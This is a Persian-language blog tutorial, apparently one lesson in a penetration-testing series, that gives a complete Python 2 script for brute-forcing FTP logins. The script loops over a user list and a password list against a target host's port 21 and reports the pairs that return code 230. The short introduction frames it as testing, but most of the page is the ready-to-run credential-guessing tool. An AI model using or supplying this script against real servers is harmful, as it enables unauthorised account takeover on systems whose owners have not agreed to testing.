پایتونتست نفوذ

ساخت ابزار FTP BruteForce با پایتون

جلسه سیزدهم

ساخت ابزار FTP BruteForce

FTP مخفف File Transfer Protocol میباشد که وظیفه این پروتکل انتقال فایل در شبکه هست. یکی از راه های تست نفوذ این نوع سرویس حملات Bruteforce attack است.

در این اموزش هم با استفاده از زبان برنامه نویسی پایتون ابزاری را طراحی خواهیم کرد که می تواند حملات بروت فورس را به صورت انلاین بر روی سرویس FTP انجام دهد.

#!/usr/bin/python
from socket import *
import re

print """

FTP Brute Force Version 1.0
Coded By Kaliboys.com
"""


host = raw_input("Enter HOST target :")
user = raw_input("Enter userlist : ")
passwd = raw_input("Enter passlist :")

userlist = open(user,"r")
for users in userlist.readlines():
	passlist = open(passwd,"r")
	for passwords in passlist.readlines():
		s = socket(AF_INET,SOCK_STREAM)
		s.connect_ex((host,21))
		s.recv(1024)
		s.send('USER %s\r\n'%(users))
		res = s.recv(1024)
		s.send('PASS %s\r\n'%(passwords))
		res = s.recv(1024)
		if re.search('230',res):
			print "[+] find password ",passwords
		else:
			print "[!] try test","user",users,"psss",passwords
			print "---------------------------------------------"
امتیاز ۰ از ۵ – ۰ رای
ساخت ابزار FTP BruteForce با پایتون در حال ثبت رای

یوسف وفایی

فارغ التحصیل کارشناسی IT، علاقه مند به برنامه نویسی و علم امنیت، عاشق یادگیری حرفه های جدید، کنجکاو برای همه چیز، همچنین همیشه تلاش میکنم تا به هدفم برسم...

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد.

دکمه بازگشت به بالا